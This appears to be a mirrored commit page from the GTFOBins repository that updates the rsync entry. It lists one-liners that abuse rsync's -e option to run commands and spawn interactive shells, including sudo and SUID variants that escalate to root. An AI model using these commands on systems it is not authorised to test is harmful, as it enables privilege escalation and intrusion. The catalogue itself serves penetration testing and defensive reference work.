mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Simplify rsync and add interactive execute
This commit is contained in:
parent
7822ec33e8
commit
acf29564cb
@ -1,9 +1,9 @@
|
||||
---
|
||||
functions:
|
||||
execute-non-interactive:
|
||||
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
|
||||
rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
|
||||
execute-interactive:
|
||||
- code: rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
|
||||
sudo-enabled:
|
||||
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
|
||||
sudo rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
|
||||
- code: sudo rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
|
||||
suid-enabled:
|
||||
- code: ./rsync -e 'bash -p -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user